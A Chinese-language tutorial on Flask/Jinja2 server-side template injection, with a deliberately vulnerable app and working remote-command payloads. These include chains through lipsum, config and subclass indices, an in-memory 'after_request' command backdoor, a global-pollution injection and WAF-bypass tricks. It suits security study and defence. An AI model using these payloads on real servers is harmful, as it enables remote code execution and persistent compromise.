Flask/Jinja2 SSTI从入门到放弃
字数 4528
更新时间 2026-04-15 12:56:12

Flask/Jinja2 SSTI漏洞深度研究与利用教学文档

1. 漏洞概述

SSTI(Server-Side Template Injection,服务端模板注入)是现代Web应用中的高危漏洞,尤其在使用动态模板引擎的框架中风险显著。本文以Python的Flask框架及其Jinja2模板引擎为例,系统讲解SSTI漏洞的原理、利用技术和防御思路。

2. 漏洞原理详解

2.1 模板引擎工作机制

模板引擎的核心功能是将动态数据嵌入静态模板,生成最终输出。Jinja2等模板引擎通过特殊语法({% ... %}{{ ... }})解析用户输入,若用户输入被直接传递给模板引擎且未经过滤,攻击者可注入恶意模板代码。

2.2 漏洞环境示例

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world():
    person = 'lmpr'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

当访问http://localhost:5000?name={{2*2}}时,若返回Hi, 4.,则确认存在SSTI漏洞。值得注意的是,Jinja2原生屏蔽+符号,测试时应避免使用{{1+1}}

3. Flask框架核心对象分析

3.1 全局对象暴露机制

Flask通过create_jinja_environment方法向模板环境注入全局对象,这些对象是SSTI攻击的关键跳板。

内置全局对象分类:

来源 全局对象 类型 可利用性
Jinja2 range <class 'type'>
dict <class 'type'>
lipsum <class 'function'> 极高
cycler <class 'type'>
joiner <class 'type'>
namespace <class 'type'>
Flask url_for <class 'method'> 极高
get_flashed_messages <class 'function'>
config <class 'flask.config.Config'> 极高
request <class 'werkzeug.local.LocalProxy'>
session <class 'werkzeug.local.LocalProxy'>
g <class 'werkzeug.local.LocalProxy'>

3.2 关键对象深度解析

3.2.1 lipsum函数

  • 位置:Jinja2内置的测试数据生成函数
  • 模块:jinja2.utils
  • 特征:普通函数对象,可直接访问__globals__属性
  • 模块内显式导入os模块,使其成为理想跳板

3.2.2 config对象

  • 类型:继承自dict的增强字典
  • 模块:flask.config
  • 关键特性:Config类方法(如__init__from_pyfile等)均为普通函数,未被装饰器包装
  • 模块顶部显式导入os模块

3.2.3 gsessionrequest对象

  • 实现机制:通过LocalProxy实现的代理对象
  • 特点:类型声明与实际实例化类型不一致,但不影响属性访问
  • session类型为SessionMixin,继承自MutableMapping[str, Any]

4. Python魔术属性与利用链构建

4.1 关键魔术属性

属性 作用 SSTI利用价值 示例
__class__ 获取对象的类 攻击链起点 ''.__class__<class 'str'>
__bases__ 获取类的基类元组 向上遍历继承树 str.__bases__(<class 'object'>,)
__mro__ 方法解析顺序 获取完整继承链 str.__mro__(str, object)
__subclasses__() 获取直接子类列表 访问所有已加载类 object.__subclasses__()
__globals__ 函数所在模块的全局变量字典 获取模块全局上下文 func.__globals__
__builtins__ 内置函数和异常集合 访问危险内置函数 __builtins__.__import__
__init__ 类初始化方法 获取普通函数对象 config.__class__.__init__

4.2 函数__globals__机制深度解析

__globals__是函数闭包机制的副产品,存储函数所需的外部变量引用。典型结构包含:

  1. 系统自动添加的模块元信息
  2. 用户显式导入的模块
  3. 用户定义的全局变量、函数和类

关键点:装饰器会改变函数的__globals__指向。包装函数(wrapper)的__globals__指向装饰器所在模块,而非被装饰函数原模块。

5. Payload构造方法论

5.1 基于函数__globals__的直接利用

5.1.1 通过lipsum利用

{{lipsum.__globals__['os'].popen('whoami').read()}}

步骤分析

  1. lipsum → 函数对象
  2. .__globals__ → 获取jinja2.utils模块全局字典
  3. ['os'] → 访问已导入的os模块
  4. .popen('whoami') → 执行系统命令
  5. .read() → 读取命令输出

5.1.2 通过config利用

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

步骤分析

  1. configConfig类实例
  2. .__class__ → 获取Config
  3. .__init__ → 获取普通初始化方法
  4. .__globals__ → 获取flask.config模块全局字典
  5. 后续步骤同上

5.2 通过__builtins__的间接利用

当目标函数的__globals__中无os模块时,可通过__builtins__中的eval__import__间接导入。

{{request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

5.3 通过object.__subclasses__()的通用利用

当直接跳板不可用时,需从Python基础类型开始构建完整利用链。

5.3.1 获取所有子类索引

{% set classes = range.__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }})
{% endfor %}

5.3.2 常用风险类索引

类名 模块 利用方式 典型索引(可能变化)
Popen subprocess 直接创建进程 535
_wrap_close os 通过os模块 可变
WarningMessage warnings 通过__init__.__globals__ 可变
BuiltinImporter _frozen_importlib 导入系统模块 可变
CDLL ctypes 直接调用系统库 526
StreamReaderWriter codecs 文件操作 可变

5.3.3 通用Payload示例

{{''.__class__.__bases__[0].__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}

5.4 特殊利用技巧

5.4.1 直接使用subprocess.Popen

{{range.__class__.__base__.__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}

5.4.2 通过ctypes.CDLL调用系统库

{{range.__class__.__base__.__subclasses__()[526]('libc.so.6').system('whoami')}}

6. 高级利用技术

6.1 内存马注入

在无回显但可执行代码的场景下,可通过after_request机制植入持久化后门。

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

机制解析

  1. 通过eval执行Python代码
  2. app.after_request_funcs[None]列表追加lambda函数
  3. 该函数检查请求参数cmd
  4. 若存在cmd参数,则执行命令并封装为响应
  5. 通过request.args.get('cmd')获取命令参数

6.2 全局变量污染攻击

基于Jinja2编译阶段的特性,可污染模板全局变量实现代码注入。

6.2.1 发现可利用的全局变量

jinja2.runtime模块中,存在exportedasync_exported列表,用于存储导出的模板变量。

6.2.2 污染Payload构造

{{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;print(114514);from jinja2.runtime import new_context')}}

攻击原理

  1. 通过SSTI访问jinja2.runtime模块
  2. exported列表追加恶意内容
  3. 污染后的内容会在模板编译阶段被拼接执行

7. WAF绕过技术

7.1 属性访问替代

  • 原始:''.__class__
  • 绕过:''|attr("__class__")
  • 原理:使用Jinja2过滤器语法

7.2 字符串拼接与编码

  1. 字符串拼接'__cla'+'ss__'
  2. 字符编码'__class__'|string|list|first
  3. 进制编码'__class__'|format(0x5f)

7.3 利用request对象属性

request对象包含完整的HTTP请求信息,可通过其属性间接构造Payload:

  • request.args:GET参数
  • request.form:POST参数
  • request.cookies:Cookie
  • request.headers:请求头

7.4 模板标签滥用

{% print().__class__ %}

利用{% ... %}标签中的print函数输出内容,避免使用{{ ... }}语法。

8. 防御建议

8.1 输入验证与过滤

  1. 严格限制模板变量内容
  2. 禁止用户控制模板代码
  3. 对特殊字符进行转义

8.2 沙箱环境配置

  1. 使用Jinja2沙箱模式
  2. 移除不必要的全局对象
  3. 限制可用过滤器和函数

8.3 安全开发实践

  1. 避免使用render_template_string
  2. 使用安全的模板渲染函数
  3. 定期进行代码审计和安全测试

9. 总结

Flask/Jinja2 SSTI漏洞的利用核心在于理解Python对象模型、Jinja2模板引擎工作机制以及Flask框架的全局对象暴露机制。攻击者通过魔术属性链式访问,最终目标是获取包含系统模块(如ossubprocess)的全局上下文,进而执行任意代码。防御需要从输入验证、沙箱配置和开发规范多个层面进行加固。

本文系统梳理了从基础原理到高级利用的完整知识体系,为安全研究人员提供了全面的SSTI攻防参考。

相似文章
相似文章
 全屏